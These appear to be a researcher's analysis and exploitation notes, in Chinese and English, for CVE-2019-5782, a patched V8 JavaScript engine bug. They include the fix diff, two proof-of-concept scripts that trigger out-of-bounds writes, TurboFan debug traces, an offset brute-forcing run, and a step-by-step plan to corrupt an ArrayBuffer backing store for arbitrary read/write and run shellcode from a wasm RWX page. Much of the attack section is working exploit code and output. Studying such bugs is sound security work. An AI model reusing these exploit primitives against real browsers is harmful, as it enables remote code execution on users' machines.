0%

CVE-2019-5782_zhaoqixun_2018_11_16发_7.2

[TOC]

漏洞信息

- Report: Nov 2018
- Fix: Jan 2019
- Credit: Zhao Qixun(@S0rryMybad) of Qihoo 360 Vulcan Team
- Similar to `Math.expm1` vulnerability.
- Wrong typer's assumption caused Out-Of-Bound Read/Write

Write up

fix info https://chromium-review.googlesource.com/c/v8/v8/+/1363142
fix commit https://chromium.googlesource.com/v8/v8/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04

bugs_chromium

  1. CVE-2019-5782
  2. Blink>JavaScript>WebAssembly Blink>JavaScript

CVE-2019-5782 v8数组越界漏洞分析与利用

编译

可利用v8版本

得到版本v8版本  b474b3102bd4a95eafcdb68e0e44656046132bc9
git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync -D --verbose

# v8编译
tools/dev/v8gen.py x64.debug -vv #可能出问题
tools/dev/v8gen.py x64.release -vv

ninja -C out.gn/x64.debug d8 -v # debug 可能出问题
ninja -C out.gn/x64.release d8 -v

fix分析

static const int kArgumentsBits = 16;
static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 16384

// https://chromium-review.googlesource.com/c/v8/v8/+/1363142/3/src/compiler/verifier.cc#b1256
case IrOpcode::kNewArgumentsElements:
CheckValueInputIs(node, 0, Type::ExternalPointer());

CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments, Code::kMaxArguments, zone));
CheckTypeIs(node, Type::OtherInternal());
break;
->
case IrOpcode::kNewArgumentsElements:
CheckValueInputIs(node, 0, Type::ExternalPointer());

CheckValueInputIs(node, 1, Type::Unsigned30());

// https://chromium-review.googlesource.com/c/v8/v8/+/1363142/3/src/compiler/type-cache.h#b167
Type const kArgumentsLengthType = Type::Range(0.0, Code::kMaxArguments, zone());
->
Type const kArgumentsLengthType = Type::Unsigned30();

1.2. PoC 分析

poc1 https://chromium-review.googlesource.com/c/v8/v8/+/1363142/3/test/mjsunit/regress/regress-crbug-906043.js
As similar to Math.expm1, x >> 16 is evaluated as false at simplified-lowering phase.
We can do Out-Of-Bounds R/W via CheckBounds elimination.

function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
assertEquals(16, a2.length);
for (let i = 8; i < 32; i++) {
assertEquals(undefined, a2[i]); //有问题
}

poc2 https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2019-5782.md

function opt(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a2 = new Array(2); a2[0] = 1.1; a2[1] = 1.1;
a1[(x >> 16) * 0xf00000] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
let small = [1.1];
let large = [1.1,1.1];
large.length = 65536;
large.fill(1.1);

for (let j = 0; j< 100000; j++) {
opt.apply(null, small);
}
opt.apply(null, large);

开始分析poc2

typed lowering分析


在SpeculativeNumberShiftRight节点上面有一个LoadField节点,在这个优化阶段,编译器无法得到LoadFiled节点的值,所以对NumberShiftRight进行 range analysis 时,会将其范围直接认为是int32的最大和最小值。

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {            
std::cout << "[-] min_lhs : " << min_lhs << std::endl;
std::cout << "[-] max_lhs : " << max_lhs << std::endl;
std::cout << "[-] min_rhs : " << min_rhs << std::endl;
std::cout << "[-] max_rhs : " << max_rhs << std::endl;
std::cout << "[-] min : " << min << std::endl;
std::cout << "[-] max : " << max << std::endl;

[-] max_lhs : 2147483647
[-] min_rhs : 16
[-] max_rhs : 16
[-] min : -32768
[-] max : 32767
[-] min_lhs : 0
[-] max_lhs : 65534
[-] min_rhs : 16
[-] max_rhs : 16
[-] min : 0
[-] max : 0

escape analysis phase

./d8  --shell  --allow-natives-syntax --trace-turbo ~/Desktop/v8_test/CVE-2019-5782_zhaoqixun_2018_11_16/poc2.js

win7下wen访问web分析
turbolizer 分析后看到在 load elimination,escape analysis时

Although x can be large than 65534, optimizer thinks x >> 16 is 0.
That causes simplified-lowerer to do CheckBounds elimination.

void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
...
std::cout << "[-] index_type.Min() : " << index_type.Min() << std::endl;
std::cout << "[-] index_type.Max() : " << index_type.Max() << std::endl;
std::cout << "[-] length_type.Min() : " << length_type.Min() << std::endl;

As we expected, false propagation makes index_type_Min/Max() 0.

[-] TypeArgumentsLength was called
[-] index_type.Min() : 0
[-] index_type.Max() : 0
[-] length_type.Min() : 16
[-] index_type.Min() : 0
[-] index_type.Max() : 0
[-] length_type.Min() : 16

the result of checking the turbolizer in the escape analysis phase,

which shows that checkbounds exist. Here’s what we can check for this CheckBounds:

simplified-lowering phases

在SimplifiedLoweringPhase阶段会对SpeculativeNumberShiftRight的范围再次计算,用于消除CheckBounds:
16 >> x is calculated, and multiply constant value (51) to result value.
And final result value is input node of CheckBounds.
However, after the simplified-lowering phases, this CheckBounds Node will disappear as follows.

So, now there is no boundary check, so you can freely access OOB R / W. :)
Exploit itself is incredibly simple, since OOB R / W is available

参考文章

Google_CTF_2018_DuplicateAdditionReducer.md
The above link covers Turbofan fairly well.

Math.expm1-35C3_CTF_2018_V8_Krautflare patch_ctf +0和-0不分的 优化错误

漏洞利用思路

因为错误的假定,typer输入了错误的长度范围

>>> len("10000000000000000")
17
>>> len("1111111111111111")
16
>>> 0x1ffff >> 16
1

最终能访问 1*index form的位置

最终利用

OOB R/W 有效后,调整unboxed double array’s l;ength去造成 另一个oob r/w.
修改 backing_store of ArrayBuffer 通过仿制 ArrayBuffer在他之后。

  1. 用 rop payload
  2. wasm function 的v8 进程内存创建了rwx page.放shellcode在这个区段然后arb code

有了越界写,怎么知道写入哪里写入 victim array length 这里是51

function fun(arg) {
let x = arguments.length;//vulnerability

a1 = new Array(0x10);
a1[0] = 1.1;

a2 = new Array(0x10);
a2[0] = 1.1;

victim = new Array(1.1, 2.2, 3.3, 4.4);

// maybe x >> 16 -> false propagation -> checkbounds elimination
// a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
// a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000

a1[(x >> 16) * {m_index}] = 8.691694759794e-311; // victim array -> change length property to 0x1000
//a1[(x >> 16) * 51] = 8.691694759794e-311; // victim array -> change length property to 0x1000
//a1[(x >> 16) * 51] = u2d(0, 0x1000); // victim array -> change length property to 0x1000
}

a1在前,victim在后,从前往后写入
写python脚本去遍历m_index 范围 0-100

python3 ~/Desktop/v8_test/CVE-2019-5782_zhaoqixun_2018_11_16/CVE-2019-5782_exp2_py.py  -f ~/Desktop/v8_test/CVE-2019-5782_zhaoqixun_2018_11_16/CVE-2019-5782_exp2.js
...
write new path : /tmp/CVE-2019-5782_exp2_51.js
./d8 --allow-natives-syntax /tmp/CVE-2019-5782_exp2_51.js
[+] log: start ...
[+] log: gc ...
[-] index_type.Min() : 0
[-] index_type.Max() : 0
[-] length_type.Min() : 16
[-] index_type.Min() : 0
[-] index_type.Max() : 0
[-] length_type.Min() : 16
[+] log: trigger ...
[+] log: victim.length = 4096
Trace/breakpoint trap (core dumped)

尝试拿到任意读写

之前有了越界写,可以写入 victim 长度,然后再控制victim后面的ArrayBuffer 长度。

  1. 在后面构造Array 如 let leaked = [0xdada, 0xadad, f, {}, 1.1]; ,尝试读取 victim[index] == 0xdada和 0xadad 找到 wasm_f_idx,拿到 wasm_obj_address
  2. 在后面构造ArrayBuffer 如 let ab = new ArrayBuffer(0x50);,尝试读取 victim[index] ==0x50 找到 ab_ArrayBuffer_length_idx,这时候可以控制 ArrayBuffer ‘s backing_store。
  3. 通过 ArrayBuffer ‘s backing_store 可以AAR,AAW
  4. 注意最后rwx写入时候偏移不用+1

最终利用-两种实现